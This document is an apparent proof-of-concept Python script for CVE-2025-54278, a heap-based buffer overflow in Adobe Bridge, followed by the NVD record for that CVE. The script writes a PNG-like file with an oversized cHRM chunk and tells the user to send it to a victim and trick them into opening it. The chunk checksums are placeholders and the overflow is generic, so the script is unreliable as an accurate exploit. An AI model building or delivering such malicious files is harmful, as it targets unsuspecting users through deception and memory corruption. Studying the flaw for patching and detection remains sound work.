CVE-2025-54278

# CVE-2025-54278 PoC - Adobe Bridge Heap-based Buffer Overflow # This is a conceptual PoC demonstrating the vulnerability pattern import struct def generate_malicious_file(output_path): """ Generate a malicious file that triggers heap-based buffer overflow in Adobe Bridge versions 14.1.8, 15.1.1 and earlier. """ # Create a minimal file structure with an oversized field # that will overflow the heap buffer during parsing # File header (simulating a supported image/metadata format) header = b'\x89PNG\r\n\x1a\n' # PNG-like header # Normal-sized metadata chunk chunk_type = b'tEXt' normal_data = b'Keyword\x00Value' chunk_length = struct.pack('>I', len(normal_data)) chunk_crc = struct.pack('>I', 0x12345678) normal_chunk = chunk_length + chunk_type + normal_data + chunk_crc # Malicious chunk with oversized data to trigger heap overflow malicious_type = b'cHRM' # Exploit: write far more data than the allocated heap buffer can hold overflow_size = 0x10000 # 64KB overflow malicious_data = b'\x41' * overflow_size malicious_chunk_length = struct.pack('>I', len(malicious_data)) malicious_chunk_crc = struct.pack('>I', 0xDEADBEEF) malicious_chunk = malicious_chunk_length + malicious_type + malicious_data + malicious_chunk_crc # IEND chunk iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) malicious_file = header + normal_chunk + malicious_chunk + iend with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious file generated: {output_path}") print(f"[!] Send this file to victim and trick them into opening it with Adobe Bridge") if __name__ == '__main__': generate_malicious_file('exploit_cve_2025_54278.bin')

{"cve": {"id": "CVE-2025-54278", "sourceIdentifier": "[email protected]", "published": "2025-10-15T02:15:32.733", "lastModified": "2025-10-17T14:56:08.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bridge versions 14.1.8, 15.1.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.1.9", "matchCriteriaId": "70872963-B8B3-4FF2-A385-EE947C674658"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.1.2", "matchCriteriaId": "843910D3-C728-47AA-8E29-060F4E55AF11"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/bridge/apsb25-96.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}